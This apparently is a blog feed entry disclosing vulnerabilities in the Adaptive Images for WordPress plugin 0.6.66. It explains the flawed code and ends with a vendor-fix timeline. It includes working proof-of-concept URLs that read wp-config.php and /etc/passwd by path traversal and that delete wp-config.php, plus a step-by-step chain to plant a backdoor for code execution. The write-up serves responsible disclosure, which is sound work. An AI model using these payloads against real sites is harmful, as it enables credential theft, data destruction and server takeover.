Jekyll2019-07-19T11:10:32+00:00https://mark-gruffer.github.io/feed.xmlMark GrufferMark Gruffer. Independent security researcher.Adaptive images for Wordpress 0.6.66: LFI, arbitrary file deletion and RCE.2019-07-19T04:01:00+00:002019-07-19T04:01:00+00:00https://mark-gruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion<h1 id="lfi-local-file-inclusion-arbitrary-file-deletion-and-rce-in-adaptive-images-for-wordpress-plugin">LFI (Local file inclusion), Arbitrary file deletion and RCE in <a href="https://wordpress.org/plugins/adaptive-images/">Adaptive Images for WordPress</a> plugin.</h1>
<p>This plugin, developed by <a href="http://www.nevma.gr/">Nevma</a> is used to serve images in Wordpress based on device resolution, allowing an on-the-fly resize.
It is useful to decrease the page load for mobile devices.</p>
<p>The analyzed version is <strong>0.6.66</strong> on a fresh WordPress installation 5.2.2.</p>
<p>Due to an exposed variable an unauthenticated attacker can exploit a vulnerability that can lead to a LFI (Local File Inclusion) and to Arbitrary File Deletion.</p>
<p>Sensible system and Wordpress file can be easily exfiltrated and the two vulnerabilities can be used to obtain RCE (Remote Command Execution).</p>
<h2 id="intro"><strong>INTRO</strong></h2>
<p><strong>Adaptive Images for WordPress</strong> serves images through a PHP script, <code class="highlighter-rouge">adaptive-images-script.php</code>.</p>
<p>All requests made to image assets that appear in specific folders (the plugin settings allow to change these folders) are redirected through this script that eventually manipulate the image before serving it.</p>
<p>At <strong>line 877</strong> the plugin settings are collected:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$settings</span> <span class="o">=</span> <span class="nx">adaptive_images_script_get_settings</span><span class="p">();</span>
</code></pre></div></div>
<p>This method at <strong>line 62</strong> checks if the <code class="highlighter-rouge">$_REQUEST['adaptive-images-settings']</code> is present and if not it overrides and composes it according the default configuration.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">function</span> <span class="nf">adaptive_images_script_get_settings</span> <span class="p">()</span> <span class="p">{</span>
<span class="c1">// Setup script settings.
</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="nb">isset</span><span class="p">(</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'adaptive-images-settings'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="o">...</span>
<span class="c1">// Setup script settings and save the in request scope.
</span>
<span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'adaptive-images-settings'</span><span class="p">]</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'debug'</span> <span class="o">=></span> <span class="nv">$debug</span><span class="p">,</span>
<span class="s1">'resolutions'</span> <span class="o">=></span> <span class="nv">$resolutions</span><span class="p">,</span>
<span class="s1">'cache_dir'</span> <span class="o">=></span> <span class="nv">$cache_dir</span><span class="p">,</span>
<span class="s1">'jpg_quality'</span> <span class="o">=></span> <span class="nv">$jpg_quality</span><span class="p">,</span>
<span class="s1">'png8'</span> <span class="o">=></span> <span class="nv">$png8</span><span class="p">,</span>
<span class="s1">'sharpen'</span> <span class="o">=></span> <span class="nv">$sharpen</span><span class="p">,</span>
<span class="s1">'watch_cache'</span> <span class="o">=></span> <span class="nv">$watch_cache</span><span class="p">,</span>
<span class="s1">'browser_cache'</span> <span class="o">=></span> <span class="nv">$browser_cache</span><span class="p">,</span>
<span class="s1">'request_uri'</span> <span class="o">=></span> <span class="nv">$request_uri</span><span class="p">,</span>
<span class="s1">'source_file'</span> <span class="o">=></span> <span class="nv">$source_file</span><span class="p">,</span>
<span class="s1">'wp_content'</span> <span class="o">=></span> <span class="nv">$wp_content_dir</span><span class="p">,</span>
<span class="s1">'client_width'</span> <span class="o">=></span> <span class="nv">$client_width</span><span class="p">,</span>
<span class="s1">'hidpi'</span> <span class="o">=></span> <span class="nv">$hidpi</span><span class="p">,</span>
<span class="s1">'pixel_density'</span> <span class="o">=></span> <span class="nv">$pixel_density</span><span class="p">,</span>
<span class="s1">'resolution'</span> <span class="o">=></span> <span class="nv">$resolution</span>
<span class="p">);</span>
</code></pre></div></div>
<p>At the end of the method the function simply return the <code class="highlighter-rouge">$_REQUEST['adaptive-images-settings']</code> variable.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">return</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'adaptive-images-settings'</span><span class="p">];</span>
</code></pre></div></div>
<p>This logic allows any visitor to set and override the <code class="highlighter-rouge">$_REQUEST['adaptive-images-settings']</code> just passing it to the request.</p>
<p><strong>Having control on this variable allows an attacker to exploit two major vulnerabilities.</strong></p>
<h2 id="lfi"><strong>LFI</strong></h2>
<p>The parameter <code class="highlighter-rouge">$_REQUEST['adaptive-images-settings']['source_file']</code> allows an attacker to set in an arbitrary way the file requested that will be served from the script.</p>
<p>Even if it is not possible to manipulate the <code class="highlighter-rouge">Content-Type</code> header, the script will generate a malformed image that contains the requested file.</p>
<p>This vulnerability in combination with other server misconfiguration can lead to RCE (Remote Command Execution) using log poisoning technique, /proc/self/environ technique and others.</p>
<h3 id="poc"><strong>POC</strong></h3>
<p><code class="highlighter-rouge">http://wp-vulnerable/wp-content/uploads/2019/05/image.jpg?adaptive-images-settings[source_file]=../../../wp-config.php</code></p>
<p><code class="highlighter-rouge">http://wp-vulnerable/wp-content/uploads/2019/05/image.jpg?adaptive-images-settings[source_file]=/etc/passwd</code></p>
<p><em>The image used to trigger the vulnerability should exist.</em></p>
<h2 id="arbitrary-file-deletion"><strong>Arbitrary File Deletion</strong></h2>
<p>The plugin contains a cache mechanism that allows the generated resized images to be saved and cached to prevent excessive resources usage.</p>
<p>As every cache mechanism a file should be deleted if the source is newer than the cache file.<br />
<strong>This feature can be abused to delete an arbitrary file accessible from the Wordpress installation.</strong></p>
<p>On <strong>line 977</strong> is called the function that removes a stale cache image:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// Locate cached image.
</span>
<span class="nv">$cache_file</span> <span class="o">=</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'wp_content'</span><span class="p">]</span> <span class="o">.</span> <span class="s1">'/'</span> <span class="o">.</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'cache_dir'</span><span class="p">]</span> <span class="o">.</span> <span class="s1">'/'</span> <span class="o">.</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'resolution'</span><span class="p">]</span> <span class="o">.</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'request_uri'</span><span class="p">];</span>
<span class="c1">// Check if cached image if stale and relete it if so.
</span>
<span class="k">if</span> <span class="p">(</span> <span class="nb">file_exists</span><span class="p">(</span> <span class="nv">$cache_file</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="c1">// Check if cached image is stale and delete it if so.
</span>
<span class="k">if</span> <span class="p">(</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'watch_cache'</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span>
<span class="nx">adaptive_images_delete_stale_cache_image</span><span class="p">(</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'source_file'</span><span class="p">],</span> <span class="nv">$cache_file</span><span class="p">,</span> <span class="nv">$settings</span><span class="p">[</span><span class="s1">'resolution'</span><span class="p">]</span> <span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Every variable used in this code is controlled by the aforementioned <code class="highlighter-rouge">$_REQUEST['adaptive-images-settings']</code> variable.</p>
<p>The <code class="highlighter-rouge">adaptive_images_delete_stale_cache_image</code> function just checks if the <code class="highlighter-rouge">$cache_files</code> exists and if it is newer than the original one.</p>
<p>The only condition to successfully exploit this vulnerability is that the file that we pass as <code class="highlighter-rouge">$source_file</code> is newer than the file that
we pass as <code class="highlighter-rouge">$cache_file</code>.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">function</span> <span class="nf">adaptive_images_delete_stale_cache_image</span> <span class="p">(</span> <span class="nv">$source_file</span><span class="p">,</span> <span class="nv">$cache_file</span><span class="p">,</span> <span class="nv">$resolution</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="nb">file_exists</span><span class="p">(</span> <span class="nv">$cache_file</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="c1">// Check image file timestamp.
</span>
<span class="k">if</span> <span class="p">(</span> <span class="nb">filemtime</span><span class="p">(</span> <span class="nv">$cache_file</span> <span class="p">)</span> <span class="o">>=</span> <span class="nb">filemtime</span><span class="p">(</span> <span class="nv">$source_file</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nv">$cache_file</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">unlink</span><span class="p">(</span> <span class="nv">$cache_file</span> <span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h3 id="poc-1"><strong>POC</strong></h3>
<p>Using relative paths we set as <code class="highlighter-rouge">$source_file</code> an image (or any other file) that exists in the website and as <code class="highlighter-rouge">$cache_file</code> (our target) the <code class="highlighter-rouge">wp-config.php</code>.<br />
In this way it is almost certain that the image is more recent than the target file.</p>
<p>Some other variables should be manipulated to pass some checks and build the correct path of the target file.</p>
<p><em>This POC deletes the <code class="highlighter-rouge">wp-config.php</code>, test it carefully.</em></p>
<p><code class="highlighter-rouge">http://wp-vulnerable/wp-content/uploads/2019/07/image.jpeg?adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1</code></p>
<h2 id="bonus-lfi--arbitrary-file-deletion--rce"><strong>BONUS: LFI + Arbitrary file deletion = RCE</strong></h2>
<p>Combining the previous two vulnerabilities an attacker can obtain a bold (and not really stealth) Remote Code Execution on the server.</p>
<p>This is the exploit process:</p>
<ol>
<li>Dump the current wp-config.php</li>
<li>Delete the current wp-config.php</li>
<li>Install a fake WordPress alongside the real one (DB credentials are known, a random db_prefix should be chosen to not overwrite the current installation).</li>
<li>Log in the fake WordPress to patch a plugin or theme file to set up a backdoor</li>
<li>Use the backdoor to restore the previous wp-config.php and remove the fake WordPress installation from the database.</li>
</ol>
<p>This process can be automated and executed in less than 1 minute.
During the process the website will not be reachable (<a href="https://github.com">exploit</a>).</p>
<h2 id="time-line"><strong>Time Line</strong></h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>What</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019/07/08</td>
<td>Vulnerability reported to plugin developer company using the email found in code. No response.</td>
</tr>
<tr>
<td>2019/07/11</td>
<td>Vulnerability reported directly to plugin developer.</td>
</tr>
<tr>
<td>2019/07/11</td>
<td>The vulnerability was verified by the plugin developer.</td>
</tr>
<tr>
<td>2019/07/11</td>
<td>A fix was released in version <a href="https://wordpress.org/plugins/adaptive-images/">0.6.7</a>.</td>
</tr>
<tr>
<td>2019/07/19</td>
<td>Public disclosure.</td>
</tr>
</tbody>
</table>
<p>Special thanks to Takis @ Nevma for his availability and for the quick release of the fix.</p>LFI (Local file inclusion), Arbitrary file deletion and RCE in Adaptive Images for WordPress plugin.